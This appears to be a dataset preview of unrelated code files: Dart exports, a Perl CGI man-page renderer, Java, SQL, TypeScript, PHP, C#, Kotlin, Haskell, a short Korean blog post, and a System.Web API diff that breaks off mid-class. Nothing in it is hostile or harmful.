text
stringlengths 27
775k
|
|---|
library fluent_validation_flutter;
export 'src/validators/notEmptyValidator.dart';
export 'src/validators/notEqualValidator.dart';
export 'src/validators/equalValidator.dart';
export 'src/validators/lengthValidator.dart';
export 'src/validators/wrappingValidator.dart';
export 'src/validators/abstractValidator.dart';
export 'src/validators/regExpValidator.dart';
export 'src/validators/dateValidator.dart';
export 'src/validators/mustValidator.dart';
|
#!/usr/bin/perl
# TODO: We need to make this more resilient
# currently expects args without enforcing
$FIL = $NAM = $SEC = @ARGV[0];
$NAM =~ s/^([^.]+)\..+$/$1/;
$SEC =~ s/^.+\.([^.]+)$/$1/;
$command = "groff";
@args = split(" ", "-Tascii -mdoc $FIL");
$enable_include_links = 0;
man($NAM, $SEC);
sub man {
local($name, $section) = @_;
local($_, $title, $head, *MAN);
local($html_name, $html_section, $prefix);
local(@manargs);
local($query) = $name;
# $section =~ s/^([0-9ln]).*$/$1/;
$section =~ tr/A-Z/a-z/;
$prefix = "Man ";
if ($alttitle) {
$prefix = "";
$title = &encode_title($alttitle);
$head = &encode_data($alttitle);
} elsif ($section) {
$title = &encode_title("${name}($section)");
$head = &encode_data("${name}($section)");
} else {
$title = &encode_title("${name}");
$head = &encode_data("${name}");
}
print &html_header("$title");
print "<H1>Man Page: ${title}</H1>";
print "<PRE>\n";
$html_name = &encode_data($name);
$html_section = &encode_data($section);
#print Dumper($sectionpath);
#print "yy $section yy $manpath\n";
if ($name =~ /^\s*$/) {
print "Empty input, no man page given.\n";
return;
}
if (index($name, '*') != -1) {
print "Invalid character input '*': $name\n";
return;
}
if ($section !~ /^[0-9ln]\w*$/ && $section ne '') {
print "Sorry, section `$section' is not valid\n";
return;
}
if (!$section) {
if ($sectionpath->{$manpath}) {
$section = "-S " . $sectionpath->{$manpath}{'path'};
} else {
$section = '';
}
} else {
if ($sectionpath->{$manpath}{$section}) {
$section = "-S " . $sectionpath->{$manpath}{$section};
} else {
$section = "-S $section";
}
}
# print "X $command{'man'} @manargs -- x $name x\n";
&proc(*MAN, $command, @args) ||
&mydie ("$0: open of $command{'man'} command failed: $!\n");
if (eof(MAN)) {
# print "X $command{'man'} @manargs -- x $name x\n";
print "Sorry, no data found for `$html_name" .
($html_section ? "($html_section)": '') . "'.\n";
return;
}
local($space) = 1;
local(@sect);
local($i, $j);
while(<MAN>) {
# remove tailing white space
if (/^\s+$/) {
next if $space;
$space = 1;
} else {
$space = 0;
}
$_ = &encode_data($_);
if($enable_include_links &&
m,(<B>)?\#include(</B>)?\s+(<B>)?\<\;(.*\.h)\>\;(</B>)?,) {
$match = $4; ($regexp = $match) =~ s/\./\\\./;
s,$regexp,\<A HREF=\"$BASE/usr/include/$match\"\>$match\</A\>,;
}
/^\s/ && # skip headers
s,((<[IB]>)?[\w\_\.\-]+\s*(</[IB]>)?\s*\(([1-9ln][a-zA-Z]*)\)),&mlnk($1),oige;
# detect E-Mail Addreses in manpages
if (/\@/) {
s/([a-z0-9_\-\.]+\@[a-z0-9\-\.]+\.[a-z]+)/<A HREF="mailto:$1">$1<\/A>/gi;
}
# detect URLs in manpages
if (m%tp://%) {
s,((ftp|http)://[^\s<>\)]+),<A HREF="$1">$1</A>,gi;
}
if (/^<B>\S+/ && m%^<B>([^<]+)%) {
$i = $1; $j = &encode_url($i);
s%^<B>([^<]+)</B>%<B>$i</B>%;
push(@sect, $1);
}
print;
}
close(MAN);
print "<H6> [ <a href='./'>back</a> | <a href='../../'>home</a> ]</h6>";
print "</BODY>\n";
print "</HTML>\n";
# Sleep 0.35 seconds to avoid DoS attacs
select undef, undef, undef, 0.35;
}
# encode unknown data for use in <TITLE>...</TITILE>
sub encode_title {
# like encode_url but less strict (I couldn't find docs on this)
local($_) = @_;
s/([\000-\031\%\&\<\>\177-\377])/sprintf('%%%02x',ord($1))/eg;
$_;
}
# encode unknown data for use in a URL <A HREF="...">
sub encode_url {
local($_) = @_;
# rfc1738 says that ";"|"/"|"?"|":"|"@"|"&"|"=" may be reserved.
# And % is the escape character so we escape it along with
# single-quote('), double-quote("), grave accent(`), less than(<),
# greater than(>), and non-US-ASCII characters (binary data),
# and white space. Whew.
s/([\000-\032\;\/\?\:\@\&\=\%\'\"\`\<\>\177-\377 ])/sprintf('%%%02x',ord($1))/eg;
s/%20/+/g;
$_;
}
# encode unknown data for use inside markup attributes <MARKUP ATTR="...">
sub encode_attribute {
# rfc1738 says to use entity references here
local($_) = @_;
s/([\000-\031\"\'\`\%\&\<\>\177-\377])/sprintf('\&#%03d;',ord($1))/eg;
$_;
}
# encode unknown text data for using as HTML,
# treats ^H as overstrike ala nroff.
sub encode_data {
local($_) = @_;
local($str);
# Escape &, < and >
s,\010[><&],,g;
s/\&/\&\;/g;
s/\</\<\;/g;
s/\>/\>\;/g;
s,((_\010.)+),($str = $1) =~ s/.\010//g; "<I>$str</I>";,ge;
s,(.\010)+,$1,g;
if (!s,((.\010.)+\s+(.\010.)+),($str = $1) =~ s/.\010//g; "<B>$str</B>";,ge) {
s,((.\010.)+),($str = $1) =~ s/.\010//g; "<B>$str</B>";,ge;
}
s,.\010,,g;
$_;
}
sub html_header {
return qq{<HTML>
<HEAD>
<TITLE>$_[0]</TITLE>
<link rev="made" href="mailto:wosch\@FreeBSD.ORG">
<META name="robots" content="nofollow">
<meta content="text/html; charset=iso-8859-1" http-equiv="Content-Type">
<link rel="stylesheet" type="text/css" href="/swalter/style.css">
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">\n\n};
}
sub mlnk {
local($matched) = @_;
return qq{<U>$matched</U>};
}
sub proc {
local(*FH, $prog, @args) = @_;
local($pid) = open(FH, "-|");
return undef unless defined($pid);
if ($pid == 0) {
exec $prog, @args;
&mydie("exec $prog failed\n");
}
1;
}
# CGI script must die with error status 0
sub mydie {
local($message) = @_;
print &html_header("Error");
print $message;
print qq{
<p>
<A HREF="$BASE">Index Page and Help</A>
</BODY>
</HTML>
};
exit(0);
}
|
package fr.imie.emanagerws;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.runner.RunWith;
import org.junit.runners.Suite;
import org.junit.runners.Suite.SuiteClasses;
import fr.imie.emanagerws.service.ServiceTest;
@RunWith(Suite.class)
@SuiteClasses ({ServiceTest.class})
public class AppTestSuit {
@BeforeClass
public static void beforeSuite(){
// TODO before the suite is run
}
@AfterClass
public static void afterSuite(){
// TODO after the suite is run
}
}
|
select c_date, COUNT(DISTINCT c_integer) from alltypes group by c_date order by c_date, COUNT(DISTINCT c_integer) desc;
|
import { Action } from '@ngrx/store'
export const ADD_MARKER = '[Map] Add Marker'
export const HIDE_MARKER = '[Map] Hide Marker'
export const SHOW_MARKER = '[Map] Show Marker'
export class AddMarker implements Action {
readonly type = ADD_MARKER
constructor(public payload: any){}
}
export class HideMarker implements Action {
readonly type = HIDE_MARKER
}
export class ShowMarker implements Action {
readonly type = SHOW_MARKER
}
export type MapAction = AddMarker | HideMarker | ShowMarker
|
<?php
/**
* media_paste_upload Addon.
* @author Friends Of REDAXO
* @package redaxo
* @var rex_addon $this
*/
require rex_be_controller::getCurrentPageObject()->getSubPath();
|
using Godot;
public interface IHaveSize
{
Vector2 size { get; }
Vector2 Position { get; }
Vector2 GlobalPosition { get; }
}
|
package com.disney.studios.titlemanager.util
import com.disney.studios.titlemanager.document.ChildTitle
import com.disney.studios.titlemanager.document.Season
import com.disney.studios.titlemanager.document.Title
import com.disney.studios.titlemanager.document.TvSeries
import com.disney.studios.titlemanager.repository.TitleRepository
import com.disney.studios.titlemanager.toFlux
import com.fasterxml.jackson.module.kotlin.jacksonObjectMapper
import com.fasterxml.jackson.module.kotlin.readValue
import org.bson.types.ObjectId
import org.reactivestreams.Publisher
import org.slf4j.LoggerFactory
import org.springframework.boot.ApplicationArguments
import org.springframework.boot.ApplicationRunner
import org.springframework.core.io.DefaultResourceLoader
import reactor.core.publisher.Flux
import reactor.core.publisher.Mono
import reactor.core.publisher.toMono
/**
* [ApplicationRunner] that clears all titles from MongoDB, inserts all titles from provided JSON file, and prints them
* all out to the application's log.
*/
class TitleLoader(private val titleRepo: TitleRepository, private val titlesLocation: String) : ApplicationRunner {
private val LOG = LoggerFactory.getLogger(TitleLoader::class.java)
override fun run(args: ApplicationArguments?) {
LOG.info("LOADING TITLES FROM $titlesLocation")
val resourceLoader = DefaultResourceLoader()
val json = jacksonObjectMapper()
val titlesToImport = json
.readValue<List<Title>>(resourceLoader.getResource(titlesLocation).inputStream)
println(titlesToImport)
val saveTitles: Flux<Title> = titlesToImport
.toFlux()
.flatMap {
LOG.info("Processing: $it")
process(it)
}
.flatMap {
LOG.info("Saving: $it")
titleRepo.save(it)
}
titleRepo
.deleteAll()
.thenMany(saveTitles)
.thenMany(titleRepo.findAll())
.doOnError { throw it }
.log()
.blockLast()
}
private fun process(title: Title): Publisher<Title> {
title.id = ObjectId().toHexString()
return Mono
.empty<Title>()
.concatWith(
when (title) {
is TvSeries -> processChildren(title.seasons, title)
is Season -> processChildren(title.episodes, title)
else -> Flux.empty()
}
)
.concatWith(processChildren(title.bonuses, title))
.concatWith(title.toMono())
}
private fun processChildren(children: List<ChildTitle>?, parent: Title): Publisher<Title> {
return children.toFlux()
.map {
it.parent = parent
it
}
.flatMap { process(it) }
}
}
|
---
layout: post
title: 블로그 시작
date: 2019-07-27 01:08:00 +0800
categories: etc
tag: etc
sitemap :
changefreq : daily
priority : 1.0
---
안녕하세요, 저는 개발 좋아하는 ttkmw라고 합니다.
19년 7월 27일 블로그를 시작한 기념으로 글을 씁니다.
앞으로 컴퓨터 과학, 개발하면서 겪은 이슈들, 기타 공부한 내용을 남길 예정입니다.
많이 읽어주세요.
감사합니다.
|
module Chapter2.Chapter2 where
double x = x + x
quadruple x = double(double x)
factorial n = product[1..n]
average ns = sum ns `div` length ns
n = a `div` length xs
where a = 10
xs = [1, 2, 3, 4, 5]
last1 :: [a] -> a
last1 [x] = x
last1 (x : xs) = last1 xs
last2 :: [a] -> a
last2 xs = xs !! (length xs - 1)
last3 :: [a] -> a
last3 xs = head (reverse xs)
init1 :: [a] -> [a]
init1 [x] = []
init1 (x : xs) = [x] ++ init1 xs
init2 :: [a] -> [a]
init2 xs = take (length xs - 1) xs
init3 :: [a] -> [a]
init3 xs = reverse (drop 1 (reverse xs))
|
# System.Web
``` diff
namespace System.Web {
+ public enum ApplicationShutdownReason {
+ BinDirChangeOrDirectoryRename = 6,
+ BrowsersDirChangeOrDirectoryRename = 7,
+ BuildManagerChange = 15,
+ ChangeInGlobalAsax = 2,
+ ChangeInSecurityPolicyFile = 5,
+ CodeDirChangeOrDirectoryRename = 8,
+ ConfigurationChange = 3,
+ HostingEnvironment = 1,
+ HttpRuntimeClose = 12,
+ IdleTimeout = 10,
+ InitializationError = 13,
+ MaxRecompilationsReached = 14,
+ None = 0,
+ PhysicalApplicationPathChanged = 11,
+ ResourcesDirChangeOrDirectoryRename = 9,
+ UnloadAppDomainCalled = 4,
+ }
+ public sealed class AspNetHostingPermission : CodeAccessPermission, IUnrestrictedPermission {
+ public AspNetHostingPermission(PermissionState state);
+ public AspNetHostingPermission(AspNetHostingPermissionLevel level);
+ public AspNetHostingPermissionLevel Level { get; set; }
+ public override IPermission Copy();
+ public override void FromXml(SecurityElement securityElement);
+ public override IPermission Intersect(IPermission target);
+ public override bool IsSubsetOf(IPermission target);
+ public bool IsUnrestricted();
+ public override SecurityElement ToXml();
+ public override IPermission Union(IPermission target);
+ }
+ public sealed class AspNetHostingPermissionAttribute : CodeAccessSecurityAttribute {
+ public AspNetHostingPermissionAttribute(SecurityAction action);
+ public AspNetHostingPermissionLevel Level { get; set; }
+ public override IPermission CreatePermission();
+ }
+ public enum AspNetHostingPermissionLevel {
+ High = 500,
+ Low = 300,
+ Medium = 400,
+ Minimal = 200,
+ None = 100,
+ Unrestricted = 600,
+ }
+ public delegate IAsyncResult BeginEventHandler(object sender, EventArgs e, AsyncCallback cb, object extraData);
+ public class DefaultHttpHandler : IHttpAsyncHandler, IHttpHandler {
+ public DefaultHttpHandler();
+ protected HttpContext Context { get; }
+ protected NameValueCollection ExecuteUrlHeaders { get; }
+ public virtual bool IsReusable { get; }
+ public virtual IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback callback, object state);
+ public virtual void EndProcessRequest(IAsyncResult result);
+ public virtual void OnExecuteUrlPreconditionFailure();
+ public virtual string OverrideExecuteUrlPath();
+ public virtual void ProcessRequest(HttpContext context);
+ }
+ public delegate void EndEventHandler(IAsyncResult ar);
+ public sealed class EventHandlerTaskAsyncHelper {
+ public EventHandlerTaskAsyncHelper(TaskEventHandler handler);
+ public BeginEventHandler BeginEventHandler { get; private set; }
+ public EndEventHandler EndEventHandler { get; private set; }
+ }
+ public class HtmlString : IHtmlString {
+ public HtmlString(string value);
+ public string ToHtmlString();
+ public override string ToString();
+ }
+ public class HttpApplication : IComponent, IDisposable, IHttpAsyncHandler, IHttpHandler, IRequestCompletedNotifier, ISyncContext {
+ public HttpApplication();
+ public HttpApplicationState Application { get; }
+ public HttpContext Context { get; }
+ protected EventHandlerList Events { get; }
+ public HttpModuleCollection Modules { get; }
+ public HttpRequest Request { get; }
+ public HttpResponse Response { get; }
+ public HttpServerUtility Server { get; }
+ public HttpSessionState Session { get; }
+ public ISite Site { get; set; }
+ bool System.Web.IHttpHandler.IsReusable { get; }
+ public IPrincipal User { get; }
+ public event EventHandler AcquireRequestState;
+ public event EventHandler AuthenticateRequest;
+ public event EventHandler AuthorizeRequest;
+ public event EventHandler BeginRequest;
+ public event EventHandler Disposed;
+ public event EventHandler EndRequest;
+ public event EventHandler Error;
+ public event EventHandler LogRequest;
+ public event EventHandler MapRequestHandler;
+ public event EventHandler PostAcquireRequestState;
+ public event EventHandler PostAuthenticateRequest;
+ public event EventHandler PostAuthorizeRequest;
+ public event EventHandler PostLogRequest;
+ public event EventHandler PostMapRequestHandler;
+ public event EventHandler PostReleaseRequestState;
+ public event EventHandler PostRequestHandlerExecute;
+ public event EventHandler PostResolveRequestCache;
+ public event EventHandler PostUpdateRequestCache;
+ public event EventHandler PreRequestHandlerExecute;
+ public event EventHandler PreSendRequestContent;
+ public event EventHandler PreSendRequestHeaders;
+ public event EventHandler ReleaseRequestState;
+ public event EventHandler RequestCompleted;
+ public event EventHandler ResolveRequestCache;
+ public event EventHandler UpdateRequestCache;
+ public void AddOnAcquireRequestStateAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnAcquireRequestStateAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnAuthenticateRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnAuthenticateRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnAuthorizeRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnAuthorizeRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnBeginRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnBeginRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnEndRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnEndRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnLogRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnLogRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnMapRequestHandlerAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnMapRequestHandlerAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostAcquireRequestStateAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostAcquireRequestStateAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostAuthenticateRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostAuthenticateRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostAuthorizeRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostAuthorizeRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostLogRequestAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostLogRequestAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostMapRequestHandlerAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostMapRequestHandlerAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostReleaseRequestStateAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostReleaseRequestStateAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostRequestHandlerExecuteAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostRequestHandlerExecuteAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostResolveRequestCacheAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostResolveRequestCacheAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPostUpdateRequestCacheAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPostUpdateRequestCacheAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnPreRequestHandlerExecuteAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnPreRequestHandlerExecuteAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnReleaseRequestStateAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnReleaseRequestStateAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnResolveRequestCacheAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnResolveRequestCacheAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void AddOnUpdateRequestCacheAsync(BeginEventHandler bh, EndEventHandler eh);
+ public void AddOnUpdateRequestCacheAsync(BeginEventHandler beginHandler, EndEventHandler endHandler, object state);
+ public void CompleteRequest();
+ public virtual void Dispose();
+ public virtual string GetOutputCacheProviderName(HttpContext context);
+ public virtual string GetVaryByCustomString(HttpContext context, string custom);
+ public virtual void Init();
+ public static void RegisterModule(Type moduleType);
+ IAsyncResult System.Web.IHttpAsyncHandler.BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData);
+ void System.Web.IHttpAsyncHandler.EndProcessRequest(IAsyncResult result);
+ void System.Web.IHttpHandler.ProcessRequest(HttpContext context);
+ }
+ public sealed class HttpApplicationState : NameObjectCollectionBase {
+ public string[] AllKeys { get; }
+ public HttpApplicationState Contents { get; }
+ public override int Count { get; }
+ public HttpStaticObjectsCollection StaticObjects { get; }
+ public object this[int index] { get; }
+ public object this[string name] { get; set; }
+ public void Add(string name, object value);
+ public void Clear();
+ public object Get(int index);
+ public object Get(string name);
+ public string GetKey(int index);
+ public void Lock();
+ public void Remove(string name);
+ public void RemoveAll();
+ public void RemoveAt(int index);
+ public void Set(string name, object value);
+ public void UnLock();
+ }
+ public abstract class HttpApplicationStateBase : NameObjectCollectionBase, ICollection, IEnumerable {
+ protected HttpApplicationStateBase();
+ public virtual string[] AllKeys { get; }
+ public virtual HttpApplicationStateBase Contents { get; }
+ public override int Count { get; }
+ public virtual bool IsSynchronized { get; }
+ public virtual HttpStaticObjectsCollectionBase StaticObjects { get; }
+ public virtual object SyncRoot { get; }
+ public virtual object this[int index] { get; }
+ public virtual object this[string name] { get; set; }
+ public virtual void Add(string name, object value);
+ public virtual void Clear();
+ public virtual void CopyTo(Array array, int index);
+ public virtual object Get(int index);
+ public virtual object Get(string name);
+ public override IEnumerator GetEnumerator();
+ public virtual string GetKey(int index);
+ public virtual void Lock();
+ public virtual void Remove(string name);
+ public virtual void RemoveAll();
+ public virtual void RemoveAt(int index);
+ public virtual void Set(string name, object value);
+ public virtual void UnLock();
+ }
+ public class HttpApplicationStateWrapper : HttpApplicationStateBase {
+ public HttpApplicationStateWrapper(HttpApplicationState httpApplicationState);
+ public override string[] AllKeys { get; }
+ public override HttpApplicationStateBase Contents { get; }
+ public override int Count { get; }
+ public override bool IsSynchronized { get; }
+ public override NameObjectCollectionBase.KeysCollection Keys { get; }
+ public override HttpStaticObjectsCollectionBase StaticObjects { get; }
+ public override object SyncRoot { get; }
+ public override object this[int index] { get; }
+ public override object this[string name] { get; set; }
+ public override void Add(string name, object value);
+ public override void Clear();
+ public override void CopyTo(Array array, int index);
+ public override object Get(int index);
+ public override object Get(string name);
+ public override IEnumerator GetEnumerator();
+ public override string GetKey(int index);
+ public override void GetObjectData(SerializationInfo info, StreamingContext context);
+ public override void Lock();
+ public override void OnDeserialization(object sender);
+ public override void Remove(string name);
+ public override void RemoveAll();
+ public override void RemoveAt(int index);
+ public override void Set(string name, object value);
+ public override void UnLock();
+ }
+ public class HttpBrowserCapabilities : HttpCapabilitiesBase {
+ public HttpBrowserCapabilities();
+ }
+ public abstract class HttpBrowserCapabilitiesBase : IFilterResolutionService {
+ protected HttpBrowserCapabilitiesBase();
+ public virtual bool ActiveXControls { get; }
+ public virtual IDictionary Adapters { get; }
+ public virtual bool AOL { get; }
+ public virtual bool BackgroundSounds { get; }
+ public virtual bool Beta { get; }
+ public virtual string Browser { get; }
+ public virtual ArrayList Browsers { get; }
+ public virtual bool CanCombineFormsInDeck { get; }
+ public virtual bool CanInitiateVoiceCall { get; }
+ public virtual bool CanRenderAfterInputOrSelectElement { get; }
+ public virtual bool CanRenderEmptySelects { get; }
+ public virtual bool CanRenderInputAndSelectElementsTogether { get; }
+ public virtual bool CanRenderMixedSelects { get; }
+ public virtual bool CanRenderOneventAndPrevElementsTogether { get; }
+ public virtual bool CanRenderPostBackCards { get; }
+ public virtual bool CanRenderSetvarZeroWithMultiSelectionList { get; }
+ public virtual bool CanSendMail { get; }
+ public virtual IDictionary Capabilities { get; set; }
+ public virtual bool CDF { get; }
+ public virtual Version ClrVersion { get; }
+ public virtual bool Cookies { get; }
+ public virtual bool Crawler { get; }
+ public virtual int DefaultSubmitButtonLimit { get; }
+ public virtual Version EcmaScriptVersion { get; }
+ public virtual bool Frames { get; }
+ public virtual int GatewayMajorVersion { get; }
+ public virtual double GatewayMinorVersion { get; }
+ public virtual string GatewayVersion { get; }
+ public virtual bool HasBackButton { get; }
+ public virtual bool HidesRightAlignedMultiselectScrollbars { get; }
+ public virtual string HtmlTextWriter { get; set; }
+ public virtual string Id { get; }
+ public virtual string InputType { get; }
+ public virtual bool IsColor { get; }
+ public virtual bool IsMobileDevice { get; }
+ public virtual bool JavaApplets { get; }
+ public virtual Version JScriptVersion { get; }
+ public virtual int MajorVersion { get; }
+ public virtual int MaximumHrefLength { get; }
+ public virtual int MaximumRenderedPageSize { get; }
+ public virtual int MaximumSoftkeyLabelLength { get; }
+ public virtual double MinorVersion { get; }
+ public virtual string MinorVersionString { get; }
+ public virtual string MobileDeviceManufacturer { get; }
+ public virtual string MobileDeviceModel { get; }
+ public virtual Version MSDomVersion { get; }
+ public virtual int NumberOfSoftkeys { get; }
+ public virtual string Platform { get; }
+ public virtual string PreferredImageMime { get; }
+ public virtual string PreferredRenderingMime { get; }
+ public virtual string PreferredRenderingType { get; }
+ public virtual string PreferredRequestEncoding { get; }
+ public virtual string PreferredResponseEncoding { get; }
+ public virtual bool RendersBreakBeforeWmlSelectAndInput { get; }
+ public virtual bool RendersBreaksAfterHtmlLists { get; }
+ public virtual bool RendersBreaksAfterWmlAnchor { get; }
+ public virtual bool RendersBreaksAfterWmlInput { get; }
+ public virtual bool RendersWmlDoAcceptsInline { get; }
+ public virtual bool RendersWmlSelectsAsMenuCards { get; }
+ public virtual string RequiredMetaTagNameValue { get; }
+ public virtual bool RequiresAttributeColonSubstitution { get; }
+ public virtual bool RequiresContentTypeMetaTag { get; }
+ public virtual bool RequiresControlStateInSession { get; }
+ public virtual bool RequiresDBCSCharacter { get; }
+ public virtual bool RequiresHtmlAdaptiveErrorReporting { get; }
+ public virtual bool RequiresLeadingPageBreak { get; }
+ public virtual bool RequiresNoBreakInFormatting { get; }
+ public virtual bool RequiresOutputOptimization { get; }
+ public virtual bool RequiresPhoneNumbersAsPlainText { get; }
+ public virtual bool RequiresSpecialViewStateEncoding { get; }
+ public virtual bool RequiresUniqueFilePathSuffix { get; }
+ public virtual bool RequiresUniqueHtmlCheckboxNames { get; }
+ public virtual bool RequiresUniqueHtmlInputNames { get; }
+ public virtual bool RequiresUrlEncodedPostfieldValues { get; }
+ public virtual int ScreenBitDepth { get; }
+ public virtual int ScreenCharactersHeight { get; }
+ public virtual int ScreenCharactersWidth { get; }
+ public virtual int ScreenPixelsHeight { get; }
+ public virtual int ScreenPixelsWidth { get; }
+ public virtual bool SupportsAccesskeyAttribute { get; }
+ public virtual bool SupportsBodyColor { get; }
+ public virtual bool SupportsBold { get; }
+ public virtual bool SupportsCacheControlMetaTag { get; }
+ public virtual bool SupportsCallback { get; }
+ public virtual bool SupportsCss { get; }
+ public virtual bool SupportsDivAlign { get; }
+ public virtual bool SupportsDivNoWrap { get; }
+ public virtual bool SupportsEmptyStringInCookieValue { get; }
+ public virtual bool SupportsFontColor { get; }
+ public virtual bool SupportsFontName { get; }
+ public virtual bool SupportsFontSize { get; }
+ public virtual bool SupportsImageSubmit { get; }
+ public virtual bool SupportsIModeSymbols { get; }
+ public virtual bool SupportsInputIStyle { get; }
+ public virtual bool SupportsInputMode { get; }
+ public virtual bool SupportsItalic { get; }
+ public virtual bool SupportsJPhoneMultiMediaAttributes { get; }
+ public virtual bool SupportsJPhoneSymbols { get; }
+ public virtual bool SupportsQueryStringInFormAction { get; }
+ public virtual bool SupportsRedirectWithCookie { get; }
+ public virtual bool SupportsSelectMultiple { get; }
+ public virtual bool SupportsUncheck { get; }
+ public virtual bool SupportsXmlHttp { get; }
+ public virtual bool Tables { get; }
+ public virtual Type TagWriter { get; }
+ public virtual string this[string key] { get; }
+ public virtual string Type { get; }
+ public virtual bool UseOptimizedCacheKey { get; }
+ public virtual bool VBScript { get; }
+ public virtual string Version { get; }
+ public virtual Version W3CDomVersion { get; }
+ public virtual bool Win16 { get; }
+ public virtual bool Win32 { get; }
+ public virtual void AddBrowser(string browserName);
+ public virtual int CompareFilters(string filter1, string filter2);
+ public virtual HtmlTextWriter CreateHtmlTextWriter(TextWriter w);
+ public virtual void DisableOptimizedCacheKey();
+ public virtual bool EvaluateFilter(string filterName);
+ public virtual Version[] GetClrVersions();
+ public virtual bool IsBrowser(string browserName);
+ }
+ public class HttpBrowserCapabilitiesWrapper : HttpBrowserCapabilitiesBase {
+ public HttpBrowserCapabilitiesWrapper(HttpBrowserCapabilities httpBrowserCapabilities);
+ public override bool ActiveXControls { get; }
+ public override IDictionary Adapters { get; }
+ public override bool AOL { get; }
+ public override bool BackgroundSounds { get; }
+ public override bool Beta { get; }
+ public override string Browser { get; }
+ public override ArrayList Browsers { get; }
+ public override bool CanCombineFormsInDeck { get; }
+ public override bool CanInitiateVoiceCall { get; }
+ public override bool CanRenderAfterInputOrSelectElement { get; }
+ public override bool CanRenderEmptySelects { get; }
+ public override bool CanRenderInputAndSelectElementsTogether { get; }
+ public override bool CanRenderMixedSelects { get; }
+ public override bool CanRenderOneventAndPrevElementsTogether { get; }
+ public override bool CanRenderPostBackCards { get; }
+ public override bool CanRenderSetvarZeroWithMultiSelectionList { get; }
+ public override bool CanSendMail { get; }
+ public override IDictionary Capabilities { get; set; }
+ public override bool CDF { get; }
+ public override Version ClrVersion { get; }
+ public override bool Cookies { get; }
+ public override bool Crawler { get; }
+ public override int DefaultSubmitButtonLimit { get; }
+ public override Version EcmaScriptVersion { get; }
+ public override bool Frames { get; }
+ public override int GatewayMajorVersion { get; }
+ public override double GatewayMinorVersion { get; }
+ public override string GatewayVersion { get; }
+ public override bool HasBackButton { get; }
+ public override bool HidesRightAlignedMultiselectScrollbars { get; }
+ public override string HtmlTextWriter { get; set; }
+ public override string Id { get; }
+ public override string InputType { get; }
+ public override bool IsColor { get; }
+ public override bool IsMobileDevice { get; }
+ public override bool JavaApplets { get; }
+ public override Version JScriptVersion { get; }
+ public override int MajorVersion { get; }
+ public override int MaximumHrefLength { get; }
+ public override int MaximumRenderedPageSize { get; }
+ public override int MaximumSoftkeyLabelLength { get; }
+ public override double MinorVersion { get; }
+ public override string MinorVersionString { get; }
+ public override string MobileDeviceManufacturer { get; }
+ public override string MobileDeviceModel { get; }
+ public override Version MSDomVersion { get; }
+ public override int NumberOfSoftkeys { get; }
+ public override string Platform { get; }
+ public override string PreferredImageMime { get; }
+ public override string PreferredRenderingMime { get; }
+ public override string PreferredRenderingType { get; }
+ public override string PreferredRequestEncoding { get; }
+ public override string PreferredResponseEncoding { get; }
+ public override bool RendersBreakBeforeWmlSelectAndInput { get; }
+ public override bool RendersBreaksAfterHtmlLists { get; }
+ public override bool RendersBreaksAfterWmlAnchor { get; }
+ public override bool RendersBreaksAfterWmlInput { get; }
+ public override bool RendersWmlDoAcceptsInline { get; }
+ public override bool RendersWmlSelectsAsMenuCards { get; }
+ public override string RequiredMetaTagNameValue { get; }
+ public override bool RequiresAttributeColonSubstitution { get; }
+ public override bool RequiresContentTypeMetaTag { get; }
+ public override bool RequiresControlStateInSession { get; }
+ public override bool RequiresDBCSCharacter { get; }
+ public override bool RequiresHtmlAdaptiveErrorReporting { get; }
+ public override bool RequiresLeadingPageBreak { get; }
+ public override bool RequiresNoBreakInFormatting { get; }
+ public override bool RequiresOutputOptimization { get; }
+ public override bool RequiresPhoneNumbersAsPlainText { get; }
+ public override bool RequiresSpecialViewStateEncoding { get; }
